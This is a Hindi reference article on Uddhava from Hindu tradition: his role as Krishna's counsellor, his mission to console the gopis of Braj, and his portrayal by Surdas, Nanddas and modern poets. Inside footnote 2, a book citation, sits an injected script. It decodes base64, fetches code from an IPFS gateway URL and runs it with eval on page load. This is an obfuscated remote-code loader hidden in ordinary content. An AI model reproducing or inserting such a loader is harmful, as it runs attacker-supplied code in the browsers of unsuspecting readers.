उद्धव

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उद्धव भागवत के अनुसार श्रीकृष्ण के प्रिय सखा और साक्षात बृहस्पति के शिष्य थे। महामतिमान उद्धव वृष्णिवंशीय यादवों के माननीय मन्त्री थे।[1] उनके पिता का नाम 'उपंग' कहा गया है। कहीं-कहीं उन्हें वसुदेव के भाई 'देवभाग' का पुत्र कहा गया है, अत: उन्हें श्रीकृष्ण का चचेरा भाई भी बताया गया है। एक अन्य मत के अनुसार ये सत्यक के पुत्र तथा कृष्ण के मामा कहे गये हैं।

परिचय

उद्धव यादवों के परामर्शदाता होने के साथ-साथ योद्धा भी थे। जरासंध के आक्रमणों में इन्होंने अपने पराक्रम का परिचय दिया था। द्वारका में यादवों के कुल नाश के बाद जब श्रीकृष्ण ने अपने स्वर्गारोहण की इच्छा बताई तो उद्धव ने भी उनके साथ जाने का आग्रह किया। उस समय श्रीकृष्ण ने बताया कि वह 'वसु' नामक देव के अवतार हैं। यह उनका अंतिम जन्म है। तदंतर कृष्ण ने इनको योग मार्ग का उपदेश दिया। यह उपदेश ‘उद्धव गीता’ या ‘अवधूत गीतार्ध’ के नाम से प्रसिद्ध है। कृष्ण के आदेश पर उद्धव बदरिकाश्रम चले गए और वहीं तपस्या करते हुए उन्होंने अपनी जीवन लीला समाप्त की।[2]

गोकुल गमन

मथुरा प्रवास में जब श्रीकृष्ण को अपने माता-पिता तथा गोपियों के विरह-दु:ख का स्मरण होता है, तो वे उद्धव को नन्द के गोकुल भेजते हैं तथा माता-पिता को प्रसन्न करने तथा गोपियों के वियोग-ताप को शान्त करने का आदेश देते हैं। उद्धव सहर्ष कृष्ण का सन्देश लेकर ब्रज जाते हैं और नन्दादि गोपों तथा गोपियों को प्रसन्न करते हैं। कृष्ण के प्रति गोपियों के कान्ता भाव के अनन्य अनुराग को प्रत्यक्ष देखकर उद्धव अत्यन्त प्रभावित होते हैं। वे कृष्ण का यह सन्देश सुनाते हैं कि तुम्हें मेरा वियोग कभी नहीं हो सकता, क्योंकि मैं आत्मरूप हूँ, सदैव तुम्हारे पास हूँ। मैं तुमसे दूर इसलिए हूँ कि तुम सदैव मेरे ध्यान में लीन रहो। तुम सब वासनाओं से शून्य शुद्ध मन से मुझमें अनुरक्त रहकर मेरा ध्यान करने में शीघ्र ही मुझे प्राप्त करोगी।

नन्दबाबा से भेंट

उद्धव वृष्णवंशियों में एक प्रधान पुरुष थे। ये साक्षात बृहस्पति के शिष्य और परम बुद्धिमान थे। मथुरा आने पर भगवान श्रीकृष्ण ने इन्हें अपना मन्त्री और अन्तरंग सखा बना लिया था। जब उद्धव ब्रज में पहुँचे, तब उनसे मिलकर नन्दबाबा को विशेष प्रसन्नता हुई। उन्होंने उनको गले लगाकर अपना स्नेह प्रदर्शित किया। आतिथ्य-सत्कार के बाद नन्दबाबा ने उनसे वसुदेव-देवकी तथा कृष्ण-बलराम का कुशल-क्षेम पूछा। उद्धव नन्दबाबा और यशोदा मैया के हृदय में श्रीकृष्ण के प्रति दृढ़ अनुराग का दर्शन कर आनन्द मग्न हो गये।

गोपियों द्वारा आदर सत्कार

जब गोपियों को ज्ञात हुआ कि उद्धव भगवान श्रीकृष्ण का संदेश लेकर आये हैं, तब उन्होंने एकान्त में मिलने पर उनसे श्यामसुन्दर का समाचार पूछा। उद्धव ने कहा- "गोपियों! भगवान श्रीकृष्ण सर्वव्यापी हैं। वे तुम्हारे हृदय तथा समस्त जड़-चेतन में व्याप्त हैं। उनसे तुम्हारा वियोग कभी हो ही नहीं सकता। उनमें भगवद बुद्धि करके तुम्हें सर्वत्र व्यापक श्रीकृष्ण का साक्षात्कार करना चाहिये।" प्रियतम का यह सन्देश सुनकर गोपियों को प्रसन्नता हुई तथा उन्हें शुद्ध ज्ञान प्राप्त हुआ। उन्होंने प्रेम विह्वल होकर कृष्ण के मनोहर रूप और ललित लीलाओं का स्मरण करते हुए अपनी घोर वियोग-व्यथा प्रकट की तथा भावातिरेक की स्थिति में कृष्ण से ब्रज के उद्धार की दीन प्रार्थना की। परन्तु श्रीकृष्ण का सन्देश सुनकर उनका विरह ताप शान्त हो गया। उन्होंने श्रीकृष्ण भगवान को इन्द्रियों का साक्षी परमात्मा जानकर उद्धव का भली-भाँति पूजन और आदर-सत्कार किया। उद्धव कई महीने तक गोपियों का शोक-नाश करते हुए ब्रज में रहे।

ज्ञान अहंकार का नाश

गोपियों ने कहा- "उद्धवजी! हम जानती हैं कि संसार में किसी की आशा न रखना ही सबसे बड़ा सुख है, फिर भी हम श्रीकृष्ण के लौटने की आशा छोड़ने में असमर्थ हैं। उनके शुभागमन की आशा ही तो हमारा जीवन है। यहाँ का एक-एक प्रदेश, एक-एक धूलिकण श्यामसुन्दर के चरण चिह्नों से चिह्नित है। हम किसी प्रकार मरकर भी उन्हें नहीं भूल सकती हैं।" गोपियों के अलौकिक प्रेम को देखकर उद्धव के ज्ञान अहंकार का नाश हो गया। वे कहने लगे- "मैं तो इन गोप कुमारियों की चरण रज की वन्दना करता हूँ। इनके द्वारा गायी गयी श्रीहरि कथा तीनों लोकों को पवित्र करती है। पृथ्वी पर जन्म लेना तो इन गोपांगनाओं का ही सार्थक है। मेरी तो प्रबल इच्छा है कि मैं इस ब्रज में कोई वृक्ष, लता अथवा तृण बन जाऊँ, जिससे इन गोपियों की पदधूलि मुझे पवित्र करती रहे।"

गोपियों की कृष्णभक्ति से प्रभावित

गोपियों की कृष्णभक्ति से उद्धव इतने प्रभावित हुए कि उन्होंने गोपियों की चरण रज की वन्दना की तथा इच्छा प्रकट की कि- "मैं अगले जन्म में गोपियों की चरण रज से पवित्र वृन्दावन की लता, औषध, झाड़ी आदि बनूँ।" इस प्रकार कृष्ण के प्रति ब्रजवासियों के प्रेम की सराहना करते हुए तथा नन्दादि, गोप तथा गोपियों से कृष्ण के लिए अनेक भेंट लेकर वे मथुरा लौट आये।

पुराण उल्लेख

'श्रीमद भागवत' के अतिरिक्त गोपाल कृष्ण की लीला के वियोग-पक्ष का विस्तृत वर्णन अन्य पुराणों में नहीं मिलता। 'ब्रह्मवैवर्त' में यद्यपि उद्धव के ब्रज भेजे जाने का प्रसंग आया है [3], परन्तु इस प्रसंग में भी प्राय: एकान्तत: राधा की बिरह-व्याकुलता की ही प्रधानता है। उद्धव उन्हीं के प्रेम से प्रभावित होकर उन्हें सान्त्वना देने में प्रयत्नशील दिखाये गये हैं। वे राधा की माता-सदृश स्तुति करते हैं। उनकी मूर्च्छा दूर करने के उपाय करते हैं और अन्त में उन्हें कृष्ण के मिलन का आश्वासन देकर मथुरा लौटते हैं तथा कृष्ण को शीघ्र गोकुल जाने के लिए प्रेरित करते हैं। 'ब्रह्म वैवर्त' में वियोग के वर्णन भी विलासोन्मुख हैं। अत: इस प्रसंग में उद्धव के व्यक्तित्व की कोई विशेषता उभरती नहीं दिखायी देती।

विद्यापति द्वारा वर्णन

हिन्दी कृष्ण काव्य के प्रथम गायक विद्यापति ने यद्यपि बिरह का विशद वर्णन किया है, परन्तु उसमें उद्धव के प्रसंग को स्थान नहीं मिला, केवल एक-आधा पद में उद्धव का नाम मात्र आया है, जहाँ बिरह-विह्वल राधा को इंगित कर सखी कहती है- "हे उद्धव! तू तुरन्त मथुरा जा और कह कि चन्द्रवदनी अब बचेगी नहीं। उसका वध किसे लगेगा?" इस एक सन्दर्भ से ही उद्धव के भागवत से भिन्न व्यक्तित्व की सूचना मिलती है। वस्तुत: कृष्ण-कथा लोक-विश्रुत रूप में उद्धव कृष्ण और गोपियों अथवा कृष्ण और राधा के बीच प्रेम सन्देश-वाहक रहे हैं। हिन्दी कृष्ण भक्ति काव्य में भी उन्हें इसी रूप में ग्रहण किया गया, यद्यपि हिन्दी कृष्ण भक्ति काव्य का प्रधान स्रोत और उपजीव्य भागवत ही था।

सूरदास का उद्धव सम्बन्धी प्रसंग

भक्त कवियों में सूरदास ने ही उद्धव सम्बन्धी प्रसंग का सम्यक रूप से विस्तृत वर्णन किया हैं। उन्होंने वियोग का मार्मिक चित्रण करने के साथ इस प्रसंग के माध्यम से भक्ति के स्वत: पूर्ण ऐकान्तिक स्वरूप को स्पष्ट करने तथा उसकी महत्ता प्रतिपादित करने के लिए इतर साधनों-वैराग्य, योग, जप-तप, कर्मकाण्ड आदि की हीनता प्रमाणित की है। अपने इस उद्देश्य की पूर्ति के लिए उन्होंने उद्धव के व्यक्तित्व का जो नवनिर्माण किया, वही अद्यावधि हिन्दी कृष्ण-काव्य की स्वीकृत परम्परा में सुरक्षित है।

सूर के उद्धव स्वयं कृष्ण के शब्दों में काठ की भाँति निष्ठुर, प्रेमभजन से सर्वथा शून्य, अद्वैतदर्शी, 'निठुर जोगी जंग' और 'भुरंग' सखा हैं। वे निर्गुण का व्रत लिए हुए हैं। कृष्ण को 'त्रिगुण तन' समझते हैं तथा ब्रह्म को उनसे भिन्न मानते हैं। योग की बातें करते हैं तथा प्रेम की बातें सुनकर विपरीत बोलते हैं। वे अत्यन्त दम्भी, पाखण्डी और अहंकारी है। कृष्ण उन्हें सीधे मार्ग पर लाने के लिए उनका अद्वैतवादियों, निर्गुणवादियों, अलखवादी योगियों जैसा अभिमान चूर करके प्रेमभक्ति में दीक्षित करने के उद्देश्य से ही छल करके ब्रज भेजते हैं। ब्रज की गोपियाँ उनके 'ज्ञान' की धज्जियाँ उड़ा देती हैं तथा सिद्ध कर देती हैं कि प्रेम में शून्य होने के कारण गम्भीर पांडित्य एक दुर्वह बोझ के सदृश है। वे वस्तुत: ज्ञानी नहीं, महामूर्ख हैं, क्योंकि वे अनपढ़ गँवार, ग्रामीण युवतियों को योग सिखाने का हास्यास्पद प्रयत्न करने आये हैं। सूरदास ने अपने समय के भक्ति-बाह्य सभी मतमतान्तरों के प्रतिनिधित्व का दायित्व उद्धव पर लाद दिया और अन्त में उद्धव को प्रेमभक्ति का यहाँ तक सर्मथक बना दिया है कि मथुरा लौटकर वे स्वयं श्रीकृष्ण की निष्ठुरता की आलोचना करने लगते हैं तथा उनसे ब्रजवासियों के बिरह-दु:ख दूर करने की प्रार्थना करते हैं।

'श्रीमद्भागवत' के उद्धव के व्यक्तिव को पुन: लोक-विश्रुत कृष्ण-कथा की ओर किंचित मोड़ देकर सूरदास ने प्रेमदूत के माध्यम से जहाँ एक ओर अत्यन्त व्यंजनापूर्ण प्रेम बिरह काव्य की रचना की है, वहीं दूसरी ओर भक्ति मार्ग की सर्वश्रेष्ठता सिद्ध करने में अनुपम सफलता प्राप्त की है। 'सूरसागर' के इस प्रसंग में साढ़े सात सौ पद हैं।

अष्टछाप कवियों द्वारा स्फुट रचनाएँ

सूरदास के समकालीन 'अष्टछाप' के अन्य कवियों में नंददास को छोड़कर सभी ने सूर के ही आधार पर उद्धव सम्बन्धी प्रसंग पर स्फुट रचना की है। अत: उनके द्वारा उद्धव के चरित्र-चित्रण में कोई नवीनता नहीं मिलती। केवल नन्ददास ने अपने 'भँवरगीत' में उद्धव को एक अद्वैत वेदान्त के सर्मथक ज्ञानमार्गी पण्डित के रूप में उपस्थित किया है, जो न केवल गोपियों की उत्कट प्रेम-भक्ति, बल्कि उनके पाण्डित्यपूर्ण तर्कों का लोहा मानकर भक्तिमार्ग में दीक्षित हो जाते हैं। यद्यपि कृष्ण भक्ति के राधावल्लभी सदृश कुछ सम्प्रदायों में बिरह की महत्ता नहीं मानी गयी है और जिस कारण उद्धव सम्बन्धी प्रसंग उनमें लोकप्रिय नहीं हुआ। फिर भी मुख्यत: सूर के 'उद्धव गोपी संवाद' तथा 'भ्रमरगीत' का आधार लेकर आधुनिक काल तक दर्जनों रचनाएँ हुईं और उनमें उद्धव का व्यक्तित्व बहुत कुछ सूर के उद्धव की ही भाँति चित्रित हुआ है।

रसिकों में लोकप्रिय 'उद्धव-गोपी संवाद'

तुलसीदास ने भी अपनी 'कृष्णगीतावली' में इस प्रसंग में सरस पद रचे हैं। सच तो यह है कि कृष्ण भक्त कवि ही नहीं, मध्य काल से लेकर आधुनिक काल तक ब्रजभाषा का ऐसा कोई कवि न होगा, जिसने इस प्रसंग पर कुछ छन्द न रचे हों। यह निर्विवाद सत्य है कि ब्रजभाषा काव्य का मुख्य वर्ण्य-विषय राधा-कृष्ण और गोपी कृष्ण की लीला ही रहा है। इस लीला में सबसे अधिक मार्मिक, रसिकों में लोकप्रिय प्रसंग 'उद्धव-गोपी संवाद' और 'भ्रमरगीत' है। इन सभी कवियों में उद्धव के तथाकथित ज्ञानमार्ग की खिल्ली उड़ाने, उद्धव की मूढ़ता प्रमाणित करने तथा प्रेम और भक्ति की महत्ता प्रतिपादित करने में परस्पर प्रतिस्पर्द्धा सी देखी जाती है।

कृष्ण से तत्त्वज्ञान का उपदेश

भगवान ने जब द्वारकापुरी का निर्माण किया, तब उद्धव उनके साथ द्वारका आये। भगवान श्रीकृष्ण इन्हें सदैव अपने साथ रखते थे तथा राज्यकार्य में इनसे सहयोग लिया करते थे। स्वधाम पधारने के पूर्व भगवान श्रीकृष्ण ने उद्धव को तत्त्वज्ञान का उपदेश दिया और उन्हें 'बदरिकाश्रम' जाकर रहने की आज्ञा दी। भगवान के स्वधाम पधारने पर उद्धव मथुरा आये। यहीं उनकी विदुर से भेंट हुई। अपने एक स्वरूप से भगवान के आज्ञानुसार उद्धव बदरिकाश्रम चले गये और दूसरे सूक्ष्म रूप से गोवर्धन के पास लता-गुल्मों में छिपकर निवास करने लगे। महर्षि शाण्डिल्य के उपदेश से वज्रनाभ ने जब गोवर्धन के संनिकट संकीर्तन-महोत्सव किया, तब उद्धव लता-कुंजों से प्रकट हो गये। उन्होंने श्रीकृष्ण की रानियों को एक महीने तक 'श्रीमद्भागवत' की कथा सुनायी तथा अपने साथ सबको नित्य व्रजभूमि में ले गये। भगवान श्रीकृष्ण ने कहा है- "मेरे इस लोक से लीला-संवरण के बाद उद्धव ही मेरे ज्ञान की रक्षा करेंगे। वे गुणों में मुझसे तनिक भी कम नहीं हैं। वे यहाँ अधिकारियों को उपदेश करने के लिये रहेंगे।"

आधुनिक कवियों द्वारा चित्रण

आधुनिक काल में जगन्नाथदास 'रत्नाकर' ने 'उद्धवशतक' में भक्ति और रीति काव्य की परम्पराओं का समन्वय-सा करते हुए उद्धव के व्यक्तित्व में संवेदनशीलता का कुछ अधिक सन्निवेश किया है, वैसे उनके उद्धव ब्रजभाषा के जाने पहचाने उद्धव ही हैं। खड़ीबोली के काव्यों 'प्रियप्रवास' (हरिऔध) और 'द्वापर' (मैथिलीशरण गुप्त) के उद्धव गोपियों के हास-परिहास के आलम्बन नहीं बनते। उनके व्यक्तित्व में गम्भीरता पायी जाती है। दोनों कवियों ने उन्हें अधिक संवेदनशील, विचारशील तथा बुद्धिमान चित्रित किया है।


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टीका टिप्पणी और संदर्भ

सहायक ग्रन्थ-

  1. सूरदास : ब्रजेश्वर वर्मा,
  2. हिन्दी में भ्रमरगीत काव्य और उसकी परम्परा: डॉ. स्नेहलता श्रीवास्तव,
  1. भागवत, दशम स्कन्ध, पूर्वार्ध, अध्याय 46
  2. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 102 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. श्रीकृष्ण जन्म खण्ड, अध्याय 94

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